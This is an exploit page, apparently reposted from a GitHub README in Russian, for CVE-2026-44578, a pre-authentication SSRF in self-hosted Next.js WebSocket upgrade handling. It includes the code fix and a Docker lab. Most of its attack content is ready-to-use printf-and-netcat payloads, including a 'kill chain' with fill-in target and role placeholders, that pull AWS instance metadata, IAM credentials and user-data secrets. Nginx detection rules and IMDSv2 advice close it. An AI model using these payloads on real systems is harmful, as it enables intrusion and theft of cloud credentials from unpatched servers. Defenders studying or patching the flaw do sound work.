Sploitus

Exploit for CVE-2026-44578

kitploit · 2026-08-27

Exploit Code

MARKDOWN259 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DINOSN-CVE-2026-44578
# CVE-2026-44578 — SSRF через обновление WebSocket в Next.js

Подделка серверного запроса (SSRF) до аутентификации в самостоятельно размещённых развёртываниях Next.js.  
Один специально сформированный HTTP-запрос извлекает учётные данные AWS, секреты и данные внутренних сервисов с localhost:80.

Поле| Значение  
---|---  
CVE| CVE-2026-44578  
GHSA| GHSA-c4j6-fc7j-m34r  
CVSS 3.1| **8.6 HIGH** (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`)  
Тип| SSRF (CWE-918)  
Затронутые версии| Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (только самостоятельное размещение)  
Исправлено в| 15.5.16, 16.2.5  
Требуется аутентификация| Нет  
Взаимодействие пользователя| Нет  
  
* * *

## Уязвимость

Обработчик обновления WebSocket в `router-server.ts` вызывает `proxyRequest()` всякий раз, когда `parsedUrl.protocol` истинно — без проверки флагов завершения маршрутизации `finished` и `statusCode`, которые всегда применялись в HTTP-обработчике.

root@kitploit:~
    
    
    // router-server.ts — upgrade handler
    - if (parsedUrl.protocol) {
    -   return await proxyRequest(req, socket, parsedUrl, head)
    
    // fix (commit c4f69086)
    + if (finished && parsedUrl.protocol) {
    +   if (!statusCode) {
    +     return await proxyRequest(req, socket, parsedUrl, head)
    +   }
    +   return socket.end()
      }
    

После того как `normalizeRepeatedSlashes` сворачивает `http:///` в `http:/`, имя хоста становится null, и http-proxy подключается к **localhost:80** с правильным путём. Любой совместно размещённый сервис (облачные метаданные, панели администратора, внутренние API) становится доступен.

* * *

## Команда эксплуатации

root@kitploit:~
    
    
    printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
    Host: TARGET:3000\r\n\
    Connection: Upgrade\r\n\
    Upgrade: websocket\r\n\
    Sec-WebSocket-Version: 13\r\n\
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
    

> `curl` не может отправлять URI в абсолютной форме. Используйте сырой TCP: `nc`, `ncat`, `socat` или сокеты Python.

* * *

## Как это работает

root@kitploit:~
    
    
    Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
       |                              |                              |
       | GET http:///latest/meta-data/|                              |
       | Connection: Upgrade          |                              |
       | Upgrade: websocket           |                              |
       |----------------------------->|                              |
       |                              | url.parse -> protocol:'http' |
       |                              | "///" matches regex          |
       |                              | normalizeRepeatedSlashes     |
       |                              |   "http:///" -> "http:/"     |
       |                              | Returns: finished:true       |
       |                              |   statusCode:308             |
       |                              |   hostname:null              |
       |                              |                              |
       |                              | BUG: only checks protocol   |
       |                              | proxyRequest -> localhost:80 |
       |                              |   GET /latest/meta-data/     |
       |                              |----------------------------->|
       |                              |     200 OK + credentials     |
       |                              |<-----------------------------|
       |    200 OK + credentials      |                              |
       |<-----------------------------|                              |
    

* * *

## Воспроизведение в лабораторных условиях

### Предварительные требования

  * Docker + Docker Compose
  * Python 3.10+
  * `nc` (netcat)



### Настройка

root@kitploit:~
    
    
    git clone https://github.com/dinosn/CVE-2026-44578.git
    cd CVE-2026-44578/lab
    ./setup.sh
    

Это запускает 5 контейнеров:

Боковые контейнеры IMDS используют `network_mode: "service:nextjs-*"`, поэтому фальшивый сервис метаданных находится на `localhost:80` внутри контейнера Next.js — моделируя реальный облачный экземпляр.

### Запуск эксплойта

root@kitploit:~
    
    
    # Полный набор тестов (7 SSRF-зондов)
    python3 ../exploit/poc.py -t http://localhost:3000 --test-all
    
    # Извлечение единичных учётных данных
    printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
    Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
    Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
    | nc -w 5 127.0.0.1 3000
    
    # Подтверждение, что исправленный экземпляр блокирует запрос
    python3 ../exploit/poc.py -t http://localhost:3001 --test-all
    

### Завершение работы

root@kitploit:~
    
    
    ./teardown.sh
    

* * *

## Доказательства

### 1\. Запуск лаборатории

Все контейнеры запущены — уязвимая версия (15.5.15) на :3000, исправленная (15.5.16) на :3001, боковые контейнеры IMDS разделяют пространства имён сети.

![Lab Running](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/01-lab-running.svg)

### 2\. SSRF — Перечисление метаданных AWS

Один запрос возвращает полный каталог метаданных EC2 (ami-id, instance-id, iam/, placement/ и т.д.)

![Metadata Listing](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/02-ssrf-metadata-listing.svg)

### 3\. SSRF — Извлечение учётных данных IAM

Полный набор учётных данных IAM: `AccessKeyId`, `SecretAccessKey`, `Token` и `Expiration`.

![IAM Credentials](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/03-ssrf-iam-credentials.svg)

### 4\. SSRF — Секреты пользовательских данных

Сценарий начальной загрузки пользовательских данных EC2, содержащий `DB_PASSWORD` и `API_KEY`.

![User-Data Secrets](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/04-ssrf-user-data.svg)

### 5\. SSRF — Идентификатор экземпляра

Идентификатор экземпляра, извлечённый через тот же SSRF-вектор.

![Instance ID](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/05-ssrf-instance-id.svg)

### 6\. Исправленный экземпляр — заблокирован

Тот же пейлоад против Next.js 15.5.16. Соединение закрыто немедленно — данные не возвращены.

![Patched Blocked](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/06-patched-blocked.svg)

### 7\. Логи IMDS — доказательство выполнения на стороне сервера

Логи фальшивого IMDS показывают GET-запросы, поступающие с `127.0.0.1` (процесс Next.js), что доказывает, что SSRF выполняется на стороне сервера.

![IMDS Logs](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/07-imds-logs.svg)

### 8\. Полный набор PoC — уязвимый (7/7 подтверждено)

Все 7 SSRF-тестов возвращают конфиденциальные данные на уязвимом экземпляре.

![Full Suite Vuln](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/08-full-suite-vuln.svg)

### 9\. Полный набор PoC — исправленный (0/7 заблокировано)

Все 7 тестов заблокированы на исправленном экземпляре. Исправление подтверждено.

![Full Suite Patched](https://raw.githubusercontent.com/dinosn/cve-2026-44578/HEAD/screenshots/09-full-suite-patched.svg)

* * *

## Пейлоады kill chain

root@kitploit:~
    
    
    # 1. Список категорий метаданных
    printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
    
    # 2. Идентификатор экземпляра
    printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
    
    # 3. Обнаружение роли IAM
    printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
    
    # 4. Извлечение учётных данных IAM
    printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
    
    # 5. Секреты пользовательских данных
    printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
    

Замените `T` на целевой хост, а `ROLE` на имя роли IAM.

* * *

## Ограничения

* * *

## Обнаружение и смягчение

root@kitploit:~
    
    
    # Nginx: reject absolute-form request URIs
    if ($request_uri ~* "^https?://") {
        return 400;
    }
    

На AWS: принудительно используйте IMDSv2 (`HttpTokens=required`).

Сигнатуры в логах:

  * `Failed to proxy http:/` — прокси сработал, но цель недоступна
  * Вариант `http:///path` **не создаёт запись об ошибке** — отслеживайте обновления WebSocket с `http:` в строке запроса



* * *

## Ссылки

* * *

## Отказ от ответственности

Только для авторизованного тестирования безопасности, обучения и защитных исследований. Используйте только против систем, которые вам принадлежат или на тестирование которых у вас есть явное письменное разрешение.